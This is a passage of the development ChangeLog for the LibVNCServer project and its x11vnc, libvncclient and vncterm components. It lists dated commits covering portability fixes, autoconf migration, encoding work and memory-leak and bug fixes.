rfbserver.c, vncauth.c: compile fix for cygwin 2004-01-10 runge * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -allow, -localhost, -nodragging, -input_skip minimize memory usage under -nofb 2003-12-09 dscho * libvncclient/hextile.c: fix compilation with Mac OSX: preprocessor can't do recursive macros 2003-12-09 runge * ChangeLog, configure.ac, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: XBell events, -nofb, -notruecolor, misc. cleaning 2003-11-27 dscho * index.html: fixed link 2003-11-11 dscho * ChangeLog, contrib/x11vnc.c: -inetd, -noshm and friends added 2003-11-07 dscho * ChangeLog, README.cvs, configure.ac: release 0.6 2003-10-08 dscho * zrle.c: fix gcc 2.x compilation: no C99 2003-09-11 markmc * ChangeLog, Makefile.in, aclocal.m4, bootstrap.sh, classes/.cvsignore, classes/Makefile.in, config.h.in, configure, contrib/Makefile.in, depcomp, examples/Makefile.in, install-sh, libvncclient/Makefile.in, missing, mkinstalldirs, test/.cvsignore, test/Makefile.in, vncterm/Makefile.in: 2002-09-11 Mark McLoughlin * Makefile.in, */Makefile.in, aclocal.m4, bootstrap.sh, config.h.in, configure, depcomp, install-sh, missing, mkinstalldirs, Removed auto-generated files from CVS. 2003-09-11 markmc * ChangeLog, NEWS, rdr/Exception.h, rdr/FdInStream.cxx, rdr/FdInStream.h, rdr/FdOutStream.cxx, rdr/FdOutStream.h, rdr/FixedMemOutStream.h, rdr/InStream.cxx, rdr/InStream.h, rdr/MemInStream.h, rdr/MemOutStream.h, rdr/NullOutStream.cxx, rdr/NullOutStream.h, rdr/OutStream.h, rdr/ZlibInStream.cxx, rdr/ZlibInStream.h, rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h, rdr/types.h, zrle.cxx, zrleDecode.h, zrleEncode.h: 2003-09-11 Mark McLoughlin * rdr/Exception.h, rdr/FdInStream.cxx, rdr/FdInStream.h, rdr/FdOutStream.cxx, rdr/FdOutStream.h, rdr/FixedMemOutStream.h, rdr/InStream.cxx, rdr/InStream.h, rdr/MemInStream.h, rdr/MemOutStream.h, rdr/NullOutStream.cxx, rdr/NullOutStream.h, rdr/OutStream.h, rdr/ZlibInStream.cxx, rdr/ZlibInStream.h, rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h, rdr/types.h, zrle.cxx, zrleDecode.h, zrleEncode.h: remove original C++ ZRLE implementation. Its been ported to C. * NEWS: copy the existing ChangeLog to here and make this a more detailed ChangeLog. 2003-09-08 dscho * AUTHORS, ChangeLog, Makefile.am, Makefile.in, autogen.sh, classes/Makefile.in, config.h.in, configure, configure.ac, contrib/Makefile.in, examples/Makefile.in, libvncclient/Makefile.in, rfb/rfb.h, rfb/rfbproto.h, rfbserver.c, test/Makefile.in, vncterm/Makefile.in, zrle.c, zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h, zrlepalettehelper.c, zrlepalettehelper.h, zrletypes.h: ZRLE no longer uses C++, but C 2003-08-29 dscho * ChangeLog, Makefile.in, configure, configure.ac, libvncclient/Makefile.in, test/Makefile.in, vncterm/Makefile.in: added --disable-cxx flag to configure 2003-08-18 dscho * contrib/x11vnc.c: Karl Runge: 8bpp handling now much better, single window also, many improvements 2003-08-18 dscho * httpd.c, main.c, rfbserver.c, sockets.c: socklen_t -> size_t 2003-08-18 dscho * Makefile.in, aclocal.m4, classes/Makefile.in, config.h.in, contrib/Makefile.in, examples/Makefile.in, vncterm/Makefile.in: using autoconf 1.6 2003-08-09 dscho * README: added Projects section 2003-08-08 dscho * .cvsignore, classes/.cvsignore, libvncclient/.cvsignore, test/.cvsignore: more files to ignore 2003-08-08 dscho * libvncclient/rfbproto.c, libvncclient/tight.c, libvncclient/zlib.c, main.c, rfbserver.c: make --without-jpeg, --without-zlib work 2003-08-08 dscho * AUTHORS, configure, configure.ac: add --without-jpeg, --without-zlib; repair --without-backchannel, --without-24bpp 2003-08-08 dscho * httpd.c, sockets.c: handle EINTR after select() 2003-08-06 dscho * ChangeLog, auth.c, contrib/x11vnc.c, examples/fontsel.c, examples/mac.c, httpd.c, main.c, rfb/rfb.h, rfbregion.c, rfbserver.c, rre.c, sockets.c, translate.c, vncterm/LinuxVNC.c, vncterm/VNCommand.c, zlib.c: rfbErr introduced 2003-08-03 dscho * rfb/rfbproto.h: forgot to change WORDS_BIGENDIAN to LIBVNCSERVER_BIGENDIAN; #undef VERSION unneccessary... 2003-08-02 dscho * config.h.in, configure, configure.ac: really check for setsid, not pgrp 2003-08-02 dscho * main.c: overlooked endian config.h constant 2003-08-02 dscho * config.h.in: required file 2003-08-01 dscho * README, configure, configure.ac: mention NEWS in README, add checks for fork and setpgrp 2003-07-31 dscho * ChangeLog: credit last two changes to Erik 2003-07-31 dscho * main.c, rfb/rfb.h, sockets.c: rfbLog can be overridden; EINTR on read/write means just try again 2003-07-30 dscho * Makefile.am, Makefile.in, rfb/rfb.h, rfb/rfbclient.h: add rfbclient.h to distribution; avoid C++ style comments 2003-07-30 dscho * AUTHORS, ChangeLog, Makefile.in, NEWS, README, acinclude.m4, aclocal.m4, auth.c, cargs.c, classes/Makefile.in, configure, configure.ac, contrib/Makefile.in, contrib/x11vnc.c, contrib/zippy.c, corre.c, cursor.c, cutpaste.c, draw.c, examples/Makefile.in, examples/example.c, examples/mac.c, examples/pnmshow.c, examples/pnmshow24.c, examples/vncev.c, font.c, hextile.c, httpd.c, libvncclient/Makefile.in, libvncclient/corre.c, libvncclient/cursor.c, libvncclient/hextile.c, libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c, libvncclient/sockets.c, libvncclient/tight.c, libvncclient/vncviewer.c, libvncclient/zlib.c, main.c, rfb/rfb.h, rfb/rfbclient.h, rfb/rfbconfig.h.in, rfb/rfbproto.h, rfb/rfbregion.h, rfbregion.c, rfbserver.c, rre.c, selbox.c, sockets.c, stats.c, test/Makefile.in, tight.c, translate.c, vncauth.c, vncterm/LinuxVNC.c, vncterm/Makefile.in, vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h, zlib.c, zrle.cxx: API change: Bool, KeySym, Pixel get prefix "rfb"; constants in rfbconfig.h get prefix "LIBVNCSERVER_" 2003-07-29 dscho * cursor.c, libvncclient/client_test.c, libvncclient/rfbproto.c, libvncclient/vncviewer.c, main.c, rfb/rfb.h, rfb/rfbclient.h, test/tight-1.c, tight.c: further valgrinding showed leaked mallocs 2003-07-28 dscho * ChangeLog, README.cvs: adapted dox 2003-07-28 dscho * libvncclient/Makefile: is autoconfed now 2003-07-28 dscho * Makefile.am, Makefile.in, aclocal.m4, classes/Makefile.in, configure, configure.ac, contrib/Makefile.in, contrib/x11vnc.c, contrib/zippy.c, examples/1instance.c, examples/Makefile.in, examples/fontsel.c, examples/mac.c, examples/pnmshow.c, examples/pnmshow24.c, examples/vncev.c, libvncclient/Makefile, libvncclient/Makefile.am, libvncclient/Makefile.in, libvncclient/client_test.c, libvncclient/corre.c, libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c, libvncclient/sockets.c, libvncclient/tight.c, libvncclient/vncviewer.c, libvncclient/zlib.c, main.c, rdr/FdInStream.cxx, rdr/ZlibOutStream.cxx, rfb/rfb.h, rfb/rfbclient.h, rfb/rfbconfig.h.in, rfbregion.c, rfbserver.c, test/Makefile.am, test/Makefile.in, test/tight-1.c, tight.c, vncterm/LinuxVNC.c, vncterm/Makefile.in, vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/example.c: fixed maxRectsPerUpdate with Tight encoding bug; some autoconfing; stderr should not be used in a library (use rfbLog instead) 2003-07-28 dscho * test/tight-1.c: first beginnings of automatic tests, thanks to libvncclient 2003-07-28 dscho * ChangeLog, TODO, main.c, rfb/rfb.h, rfb/rfbregion.h, rfbregion.c, rfbserver.c, sockets.c, tight.c, vncauth.c: synced with TightVNC and RealVNC 2003-07-28 dscho * Makefile.am, Makefile.in, examples/Makefile.am, examples/Makefile.in: debug flags 2003-07-27 dscho * ChangeLog: libvncclient 2003-07-27 dscho * libvncclient/Makefile, libvncclient/corre.c, libvncclient/cursor.c, libvncclient/hextile.c, libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c, libvncclient/sockets.c, libvncclient/tight.c, libvncclient/vncviewer.c, libvncclient/zlib.c, rfb/rfbclient.h, vncauth.c: first alpha version of libvncclient 2003-07-27 dscho * rfb/rfb.h, rfb/rfbproto.h, vncauth.c: make vncauth usable also for upcoming libvncclient 2003-07-25 dscho * ChangeLog, examples/.cvsignore, examples/Makefile.am, examples/Makefile.in, examples/simple.c, examples/simple15.c, index.html: Added simple examples 2003-07-11 dscho * rfb/rfbconfig.h, rfb/rfbint.h: these files are generated by configure 2003-07-11 dscho * ChangeLog, httpd.c: long standing bug in http; was sending .jar twice 2003-07-10 dscho * INSTALL, Makefile.in, aclocal.m4, classes/Makefile.in, configure, contrib/Makefile.in, depcomp, examples/Makefile.in, install-sh, missing, mkinstalldirs, rfb/rfbconfig.h, rfb/rfbconfig.h.in, rfb/rfbint.h, rfb/stamp-h.in, vncterm/Makefile.in: another try to make CVS more helpful with configure 2003-07-10 dscho * Makefile.am, classes/Makefile.am, configure.ac: also distribute classes/ directory 2003-07-10 dscho * cargs.c: fix compile 2003-06-28 dscho * ChangeLog, cargs.c: http options inserted 2003-05-05 dscho * configure.ac: fix am__fastdepCXX for system not having ZLIB 2003-04-03 dscho * contrib/ChangeLog: added ChangeLog for x11vnc 2003-04-03 dscho * contrib/x11vnc.c: new version from Karl! 2003-02-28 dscho * Makefile.am, configure.ac, libvncserver-config.in: let libvncserver-config behave as expected when called without installing 2003-02-27 dscho * README.cvs: added some documentation how to compile from CVS sources 2003-02-21 dscho * rfb/rfb.h: #include instead of #include "rfbregion.h" 2003-02-20 dscho * ChangeLog: update ChangeLog 2003-02-20 dscho * index.html: #include instead of "rfb.h" 2003-02-20 dscho * contrib/Makefile.am, contrib/x11vnc.c, contrib/zippy.c, examples/Makefile.am, examples/colourmaptest.c, examples/example.c, examples/fontsel.c, examples/mac.c, examples/pnmshow.c, examples/pnmshow24.c, examples/storepasswd.c, examples/vncev.c, libvncserver-config.in, vncterm/Makefile.am, vncterm/VNConsole.h: the correct way to include rfb.h is now "#include " 2003-02-19 dscho * index.html: webpage update 2003-02-19 dscho * rfb/.cvsignore: forgotten .cvsignore 2003-02-19 dscho * Makefile.am: fixed header installation into $(prefix)/include/rfb 2003-02-18 dscho * Makefile.am, configure.ac, include/.cvsignore, include/default8x16.h, include/keysym.h, include/rfb.h, include/rfbproto.h, include/rfbregion.h, rfb/default8x16.h, rfb/keysym.h, rfb/rfb.h, rfb/rfbproto.h, rfb/rfbregion.h: moved include/ to rfb/ 2003-02-18 dscho * sockets.c: fixed a bug when closing a client if no longer listening for new clients. 2003-02-17 dscho * cursor.c, include/rfb.h: export rfbReverseBytes; undefine VERSION, because it's too common 2003-02-17 dscho * INSTALL: INSTALL is copied by automake 2003-02-17 dscho * INSTALL: INSTALL was missing 2003-02-16 dscho * configure.ac, libvncserver-config.in: fixed --link option to libvncserver-config 2003-02-10 dscho * cvs_update_anonymously, include/rfbproto.h: cvs more flexible now; ZRLE encoding only when HAVE_ZRLE defined 2003-02-10 dscho * ChangeLog, rfbserver.c: really fixed ClientConnectionGone problem 2003-02-10 dscho * vncterm/LinuxVNC.c, vncterm/VNConsole.c: fixed LinuxVNC colours 2003-02-10 dscho * main.c, rfbserver.c: fixed a bug that prevented the first connection to be closed 2003-02-10 dscho * include/rfb.h: fixed pthread debugging (locks...) 2003-02-10 dscho * contrib/Makefile.am, examples/Makefile.am, vncterm/Makefile.am: fixed dependecy to libvncserver.a; if the lib is newer, the programs are relinked 2003-02-10 dscho * go: removed superfluous file 2003-02-10 dscho * examples/.cvsignore, examples/Makefile.am, examples/colourmaptest.c, vncterm/VNConsole.c: added colourmapexample; fixed LinuxVNC to show the right colours 2003-02-09 dscho * ChangeLog: vncterm imported, porting issues solved (IRIX, OS X, Solaris) 2003-02-09 dscho * configure.ac, examples/Makefile.am, examples/mac.c, vncterm/Makefile.am, vncterm/VNCommand.c: support for OS X is better now 2003-02-09 dscho * configure.ac, examples/Makefile.am: trying again to support OS X 2003-02-09 dscho * Makefile.am, configure.ac, examples/.cvsignore, vncterm/.cvsignore, vncterm/ChangeLog, vncterm/LinuxVNC.c, vncterm/Makefile.am, vncterm/README, vncterm/TODO, vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h, vncterm/example.c, vncterm/vga.h: included vncterm 2003-02-09 dscho * .cvsignore, configure.ac, examples/mac.c, mac.c: moved the OSXvnc-server to examples; IRIX fixes (not really IRIX, but shows there) 2003-02-09 dscho * Makefile.am, examples/Makefile.am, examples/regiontest.c, examples/sratest.c, include/rfbregion.h, main.c, rfbregion.c, rfbserver.c, sraRegion.c, sraRegion.h, translate.c: renamed sraRegion to rfbregion and put it in include/; will be installed now 2003-02-09 dscho * ChangeLog: portability changes 2003-02-09 dscho * configure.ac: order of X libraries is not good for IRIX 2003-02-09 dscho * configure.ac, main.c: include order was wrong 2003-02-09 dscho * Makefile.in, configure, contrib/Makefile.in, examples/Makefile.in: source from CVS always will need a current autoconf/automake 2003-02-09 dscho * Makefile.in, acinclude.m4, configure, contrib/Makefile.in, examples/Makefile.in: I give up supporting old autoconf/automake; now require at least 2.52 2003-02-09 dscho * acinclude.m4: more macros included for older autoconf/automake 2003-02-09 dscho * Makefile.am, TODO, acinclude.m4, auth.c, configure.ac, contrib/x11vnc.c, corre.c, cursor.c, cutpaste.c, hextile.c, httpd.c, include/.cvsignore, include/rfb.h, include/rfbproto.h, main.c, rfbserver.c, rre.c, sockets.c, sraRegion.c, stats.c, tableinit24.c, tableinitcmtemplate.c, tableinittctemplate.c, tabletrans24template.c, tabletranstemplate.c, tight.c, translate.c, vncauth.c, zlib.c, zrle.cxx: converted CARD{8,16,32} to uint{8,16,32}_t and included support for stdint.h 2003-02-09 dscho * .cvsignore: ignore libvncserver-config 2003-02-09 dscho * configure.ac, include/rfb.h, main.c: bigendian is now determined at configure time 2003-02-09 dscho * index.html: added website 2003-02-09 dscho * Makefile.am, configure.ac: small adjustments for autoconf/automake compatibility 2003-02-09 dscho * Makefile.am, configure.ac, contrib/Makefile.am, examples/Makefile.am, examples/vncev.c, libvncserver-config.in, libvncserver.spec.in: make dist fixed; make rpm introduced 2003-02-08 dscho * .cvsignore, Makefile, bootstrap.sh, contrib/.cvsignore, contrib/Makefile, examples/.cvsignore, examples/Makefile: removed Makefiles; these are generated now 2003-02-08 dscho * .cvsignore, contrib/.cvsignore, examples/.cvsignore, libvncserver.spec.in: ignore generated files 2003-02-08 dscho * contrib/.cvsignore, examples/.cvsignore, examples/blooptest.c, examples/sratest.c, include/.cvsignore: missing files 2003-02-08 dscho * AUTHORS, CHANGES, ChangeLog, NEWS, TODO: further autoconf'ing 2003-02-08 dscho * Makefile, Makefile.am, TODO, bootstrap.sh, configure.ac, contrib/Makefile, contrib/Makefile.am, examples/Makefile, examples/Makefile.am, examples/example.c, include/rfb.h, include/rfbproto.h, main.c, rfbserver.c, sockets.c, tight.c, zlib.c, zrle.cc, zrle.cxx: autoconf'ed everything 2003-02-07 dscho * examples/.cvsignore, examples/radon.h: added files 2003-02-07 dscho * cvs_update_anonymously, examples/Makefile: added Makefile in examples; "export" in cvs_update_anonymously 2003-02-07 dscho * 1instance.c, Makefile, contrib/Makefile, contrib/zippy.c, default8x16.h, examples/1instance.c, examples/pnmshow24.c, include/default8x16.h, include/keysym.h, include/rfb.h, include/rfbproto.h, keysym.h, main.c, radon.h, rfb.h, rfbproto.h: moved files to include; moved a file to examples/ 2003-02-07 dscho * CHANGES, example.c, example.dsp, examples/example.c, examples/example.dsp, examples/fontsel.c, examples/pnmshow.c, examples/pnmshow24.c, examples/storepasswd.c, examples/vncev.c, fontsel.c, pnmshow.c, pnmshow24.c, storepasswd.c, vncev.c: moved files to contrib/ and examples/ 2002-12-30 dscho * CHANGES, cargs.c: fixed cargs (segmentation fault!) 2002-12-25 dscho * contrib/x11vnc.c: strange, but standard X11 behaviour from Sun keymappings... 2002-12-20 dscho * contrib/x11vnc.c: include commented debug functionality 2002-12-20 dscho * contrib/x11vnc.c: AltGr fixes in x11vnc, renamed from altgr to modtweak 2002-12-20 dscho * Makefile: fixed compilation for zippy 2002-12-20 dscho * contrib/Makefile: Makefile for contrib 2002-12-19 dscho * contrib/x11vnc.c, contrib/zippy.c: new version of x11vnc from Karl Runge 2002-12-15 dscho * contrib/x11vnc.c: small fixes: in X11/Xlib.h Bool is int (Karl Runge); indexed colour support 2002-12-15 dscho * Makefile, rfbserver.c: fix: if no CXX is defined, really don't use zrle (Karl Runge) 2002-12-06 dscho * CHANGES, Makefile, contrib/x11vnc.c, contrib/zippy.c, httpd.c, main.c, rfb.h, x11vnc.c, zippy.c: compiler warnings, contrib directory, new x11vnc from Karl Runge 2002-10-29 dscho * CHANGES, main.c, rfbserver.c: fixed severe bug with sending fbupdates 2002-10-29 dscho * CHANGES, README, cursor.c, main.c, rfb.h, rfbproto.h, rfbserver.c, stats.c: patch from Const for CursorPosUpdate encoding 2002-10-22 dscho * rdr/Exception.h, rdr/FdInStream.cxx, rdr/FdInStream.h, rdr/FdOutStream.cxx, rdr/FdOutStream.h, rdr/FixedMemOutStream.h, rdr/InStream.cxx, rdr/InStream.h, rdr/MemInStream.h, rdr/MemOutStream.h, rdr/NullOutStream.cxx, rdr/NullOutStream.h, rdr/OutStream.h, rdr/ZlibInStream.cxx, rdr/ZlibInStream.h, rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h, rdr/types.h: rdr 2002-10-22 dscho * Makefile, corre.c, cvs_update_anonymously, httpd.c, main.c, rfb.h, rfbproto.h, rfbserver.c, stats.c, zrle.cc, zrleDecode.h, zrleEncode.h: updated to vnc-3.3.4 (ZRLE encoding) 2002-08-31 dscho * x11vnc.c: patch for IRIX 2002-08-31 dscho * cvs_update_anonymously, httpd.c, rfbserver.c, vncauth.c: socket via proxy gets options set, compiler warning fixes 2002-08-31 dscho * Makefile, cvs_update_anonymously, httpd.c, mac.c, pnmshow24.c, vncev.c, x11vnc.c, zippy.c: compiler warnings and format vulnerabilities fixed 2002-08-27 dscho * Makefile, httpd.c: IRIX changes 2002-08-22 dscho * CHANGES: changes 2002-08-22 dscho * classes/javaviewer.pseudo_proxy.patch, example.c, httpd.c, main.c, rfb.h: a pseudo HTTP request for tunnelling (also via strict Web Proxy) was added. 2002-08-22 dscho * classes/index.vnc, httpd.c, vncauth.c: synchronized with tightVNC 1.2.5 2002-08-19 dscho * Makefile, auth.c, cursor.c, example.c, httpd.c, main.c, pnmshow.c, rfb.h, rfbserver.c, sraRegion.c, sraRegion.h, tight.c, vncauth.c: unwarn compilation 2002-07-28 dscho * CHANGES, README: prepare for version 0.4 2002-07-28 dscho * CHANGES, classes/index.vnc, example.c, httpd.c, main.c, rfb.h, rfbproto.h, rfbserver.c, stats.c: NewFB encoding added 2002-06-13 dscho * main.c, rfbserver.c, sockets.c: pthread fix 2002-05-03 dscho * Makefile, rfb.h: solaris fixes (INADDR_NONE) 2002-05-02 dscho * selbox.c: index was shadowed 2002-05-02 dscho * cursor.c, font.c, httpd.c, main.c, rfb.h, rfbserver.c, sockets.c, sraRegion.c, stats.c, tableinit24.c, tight.c, translate.c: Tim's Changes 2002-04-30 dscho * cargs.c, rfb.h: command line handling 2002-04-30 dscho * Makefile, mac.c: more mac 2002-04-30 dscho * mac.c: dimming for mac 2002-04-30 dscho * mac.c: Mac compile fix 2002-04-25 dscho * Makefile, x11vnc.c: x11vnc memleaks patched 2002-04-25 dscho * CHANGES, cursor.c, example.c, main.c, rfbserver.c: memleaks patched 2002-04-25 dscho * mac.c: now colour handling should be correct 2002-04-24 dscho * main.c: bug for 3 bpp planes (as Mac OSX) 2002-04-23 dscho * CHANGES, classes/index.vnc, httpd.c, rfbserver.c, sockets.c: sync with TightVNC 1.2.3 2002-04-23 dscho * Makefile, mac.c: OSXvnc-server compile fixes 2002-04-23 dscho * CHANGES, Makefile, rfb.h: another solaris clean compile 2002-04-23 dscho * x11vnc.c: KBDDEBUG 2002-04-23 dscho * main.c, rfb.h: solaris endian changes 2002-03-04 dscho * Makefile, rfbserver.c, sockets.c: reverted exception fds to NULL, because of unexpected behaviour 2002-02-19 dscho * CHANGES: changes 2002-02-18 dscho * sockets.c: select exceptfds 2002-02-18 dscho * README, cursor.c, example.c, httpd.c, main.c, rfb.h, rfbserver.c, sockets.c, tight.c, translate.c: changes from Tim Jansen: threading issues, new client can be rejected, and more 2002-01-17 dscho * 1instance.c, Makefile: compile warning fix, dependency on 1instance.c 2002-01-17 dscho * mac.c: compile warning fix 2002-01-17 dscho * font.c, rfb.h, rfbproto.h, rfbserver.c, vncauth.c: correct BackChannel handling, compile cleanups 2002-01-16 dscho * mac.c: compile fix 2002-01-16 dscho * 1instance.c, Makefile, cargs.c, mac.c, rfb.h, rfbproto.h, rfbserver.c, x11vnc.c: clean ups and encoding "backchannel" 2002-01-14 dscho * mac.c: fixed compile on MAC 2002-01-14 dscho * mac.c: toggle view only with OSX 2002-01-14 dscho * 1instance.c, x11vnc.c: view mode now toggleable 2001-12-21 dscho * mac.c, x11vnc.c: shared mode added 2001-12-14 dscho * cargs.c, main.c: *argc=0 in cargs allowed, when copying area, first undraw cursor ... 2001-12-11 dscho * mac.c: fixed osx compiling 2001-12-09 dscho * Makefile, mac.c: Makefile cleanup, some special options for OSX 2001-12-09 dscho * x11vnc.c: tile modus now near perfect (shm's better though) 2001-12-08 dscho * x11vnc.c: start to probe single pixels for updates 2001-11-27 dscho * TODO, x11vnc.c: fixed dumb XTestFakeInput bug 2001-11-27 dscho * TODO, x11vnc.c: removed XTestGrabControl. Doesn't really solve the problem of a bad param. 2001-11-27 dscho * TODO, x11vnc.c: few changes 2001-11-27 dscho * Makefile, x11vnc.c: input works on other X11 servers than XFree86 2001-11-26 dscho * TODO, x11vnc.c: no crash when display was wrong 2001-11-26 dscho * TODO: todo 2001-11-25 dscho * x11vnc.c: init keyboard now takes correct display 2001-11-23 dscho * x11vnc.c: keyboard handling now works. 2001-11-22 dscho * x11vnc.c: added cmd line parameters 2001-11-21 dscho * CHANGES: changes 2001-11-20 dscho * x11vnc.c: shm works again 2001-11-20 dscho * Makefile, x11vnc.c: missing include for XTest 2001-11-19 dscho * x11vnc.c: x11vnc now works with colour maps 2001-11-19 dscho * x11vnc.c: tmp 2001-11-19 dscho * x11vnc.c: first support for colourmaps 2001-11-19 dscho * Makefile, x11vnc.c: works, but loads high 2001-11-19 dscho * cargs.c, main.c, rfb.h: cmdline arg -passwd added 2001-11-19 dscho * Makefile, x11vnc.c: x11vnc now works view only and with SHM 2001-11-18 dscho * Makefile, example.c, main.c, rfb.h, rfbserver.c, x11vnc.c: start x11vnc, an x0rfbserver clone 2001-11-15 dscho * example.dsp, libvncserver.dsp, libvncserver.dsw, main.c, rfb.h, rfbserver.c, sockets.c: Visual C++ / win32 compatibility reestablished 2001-11-14 dscho * Makefile, TODO, font.c: docu, warning fixed 2001-11-14 dscho * CHANGES: changes 2001-11-14 dscho * cargs.c: separated argument handling from main.c 2001-11-14 dscho * Makefile, d3des.h, example.c, fontsel.c, keysym.h, mac.c, main.c, pnmshow.c, pnmshow24.c, rfb.h, rfbproto.h, sraRegion.h, vncev.c, zippy.c: changes from Justin, zippy added 2001-11-08 dscho * main.c: gettimeofday for windows 2001-10-25 dscho * Makefile, main.c, rfbserver.c, sraRegion.c, sraRegion.h: clean ups 2001-10-19 dscho * CHANGES: changes 2001-10-18 dscho * Makefile, TODO, draw.c, main.c, rfb.h, vncev.c: add rfbDrawLine, rfbDrawPixel and vncev, an xev "lookalike" 2001-10-16 dscho * main.c: scheduleCopyRegion no longer sends frameBufferUpdates (no longer clobbers deferring) 2001-10-16 dscho * CHANGES, TODO, main.c, rfb.h, rfbserver.c: deferUpdate 2001-10-16 dscho * TODO, font.c, rfbserver.c: font errors, requestedRegion bug 2001-10-15 dscho * .gdb_history: unneccessary file 2001-10-13 dscho * font.c: INT_MAX maybe not defined 2001-10-13 dscho * TODO: todo 2001-10-13 dscho * CHANGES, Makefile, README, TODO, auth.c, bdf2c.pl, consolefont2c.pl, cursor.c, default8x16.h, draw.c, font.c, fontsel.c, keysym.h, main.c, radon.h, rfb.h, selbox.c: rfbSelectBox, consoleFonts, too many changes 2001-10-12 dscho * Makefile: changes to Makefile 2001-10-12 dscho * README, rfb.h, rfbserver.c: cleanups 2001-10-11 dscho * auth.c, corre.c, httpd.c, main.c, rfb.h, rfbserver.c, rre.c, sockets.c, sraRegion.c, tableinit24.c, tableinittctemplate.c, tight.c, zlib.c: replaced xalloc with malloc functions, udp input support (untested), fixed http 2001-10-10 dscho * CHANGES, TODO, main.c, rfb.h, rfbserver.c: copyrect corrections, fd_set in rfbNewClient, dox in rfb.h for pthreads problem 2001-10-10 dscho * Makefile, cursor.c, main.c, rfb.h, rfbserver.c, sockets.c: pthreads corrections 2001-10-09 dscho * sockets.c: start udp 2001-10-08 dscho * Makefile, region.h, rfbserver.c: removes region.h 2001-10-07 dscho * Makefile, README, tabletrans24template.c: fixed 24bit (update was garbled) 2001-10-07 dscho * bdf2c.pl, font.c, main.c, rfb.h, rfbserver.c: font corrections, displayHook 2001-10-06 dscho * README, d3des.c, example.c, example.dsp, httpd.c, kbdptr.c, libvncserver.dsp, libvncserver.dsw, main.c, rfb.h, rfbserver.c, sockets.c, tableinitcmtemplate.c, tight.c, translate.c, vncauth.c: WIN32 compatibility, removed kbdptr.c 2001-10-05 dscho * CHANGES, TODO, cursor.c, example.c, main.c, rfb.h, rfbserver.c: changed cursor functions to use screen info, not cursor fixed copy rect. 2001-10-05 dscho * Makefile, bdf2c.pl, example.c, font.c, radon.h, rfb.h: extracted font routines from example 2001-10-04 dscho * CHANGES, Makefile, TODO, main.c, rfb.h, rfbserver.c: rfbDoCopyRect/Region and rfbScheduleCopyRect/Region. 2001-10-04 dscho * rfb.h: tried to compile on Sparcs. Original cc has problems. ar isn't there. 2001-10-04 dscho * CHANGES, TODO, cursor.c, main.c, rfb.h, rfbserver.c: fixed 2 pthreads issues, added noXCursor option. 2001-10-03 dscho * TODO, main.c: working on IRIX pthreads problem 2001-10-03 dscho * TODO, rfbserver.c: java viewer bug fixed 2001-10-03 dscho * CHANGES, Makefile, TODO, main.c, rfb.h, rfbserver.c, sockets.c, stats.c, tight.c: upgraded to TridiaVNC 1.2.1 2001-10-02 dscho * Makefile, TODO, cursor.c, d3des.c, main.c, rfb.h, rfbserver.c, sockets.c, translate.c, vncauth.c: no more compile warnings, pthread final(?) fixes 2001-10-02 dscho * TODO: some todo items 2001-10-02 dscho * CHANGES, cursor.c, rfb.h: implemented rfbSetCursor 2001-10-02 dscho * rfb.h: prototype for rfbSendBell 2001-10-02 dscho * CHANGES: changes 2001-10-02 dscho * pnmshow24.c, tableinit24.c, tabletrans24template.c: forgot files for 3 bpp 2001-10-02 dscho * Makefile, README, TODO, example.c, main.c, rfb.h, rfbserver.c, sockets.c, tableinitcmtemplate.c, translate.c: support for server side colour maps, fix for non-pthread, support for 3bpp 2001-10-01 dscho * TODO: have to upgrade to newest VNC sources 2001-09-29 dscho * Makefile, README, TODO, example.c, main.c, rfb.h, rfbserver.c, sockets.c: finally fixed pthreads 2001-09-29 dscho * TODO, cursor.c: nother try 2001-09-29 dscho * Makefile, cursor.c, main.c, rfb.h, rfbserver.c, sockets.c: more pthread debugging 2001-09-29 dscho * Makefile, main.c, rfb.h: cleaned up pthreads (now compiles) and rfb.h (first undefine TRUE) 2001-09-29 dscho * Makefile, README, TODO, include/X11/X.h, include/X11/Xalloca.h, include/X11/Xfuncproto.h, include/X11/Xfuncs.h, include/X11/Xmd.h, include/X11/Xos.h, include/X11/Xosdefs.h, include/X11/Xproto.h, include/X11/Xprotostr.h, include/X11/keysym.h, include/X11/keysymdef.h, include/Xserver/colormap.h, include/Xserver/cursor.h, include/Xserver/dix.h, include/Xserver/gc.h, include/Xserver/input.h, include/Xserver/misc.h, include/Xserver/miscstruct.h, include/Xserver/opaque.h, include/Xserver/os.h, include/Xserver/pixmap.h, include/Xserver/region.h, include/Xserver/regionstr.h, include/Xserver/screenint.h, include/Xserver/scrnintstr.h, include/Xserver/validate.h, include/Xserver/window.h, main.c, miregion.c, region.h, rfb.h, rfbserver.c, sraRegion.c, sraRegion.h, translate.c, xalloc.c: dropped miregion and all the X stuff in favour of Wez' sraRegion, added dox 2001-09-28 dscho * cursor.c, rfb.h: exported rfbReverseByte 2001-09-28 dscho * cursor.c: don't send a cursor update if there is no cursor 2001-09-28 dscho * README, TODO: small changes to README (contact) and TODO (autoconf?) 2001-09-28 dscho * Makefile: libvncserver.a is not deleted by make clean 2001-09-28 dscho * example.c: unnecessary include 2001-09-28 dscho * Makefile, example.c, rfb.h: now compiles on FreeBSD 2001-09-28 dscho * Makefile: make clean now cleans mac.o pnmshow.o and example.o 2001-09-27 dscho * README, cursor.c, main.c, rfb.h, rfbserver.c: added setTranslateFunction as member of rfbScreenInfo, cursor may be NULL (no cursor). 2001-09-27 dscho * Makefile, mac.c, rfb.h: try to make OSXvnc run again. 2001-09-27 dscho * README, TODO, example.c, main.c, rfb.h: docu and cursors in examples. 2001-09-26 dscho * Makefile, README, TODO, example.c, httpd.c, main.c, pnmshow.c, rfb.h: API corrections 2001-09-26 dscho * TODO, main.c, pnmshow.c: adapted pnmshow to aligned width 2001-09-25 dscho * example.c, tabletranstemplate.c: look for align bug with odd width. Bug in vncviewer? 2001-09-25 dscho * d3des.c, d3des.h, libvncauth/Imakefile, libvncauth/Makefile, libvncauth/d3des.c, libvncauth/d3des.h, 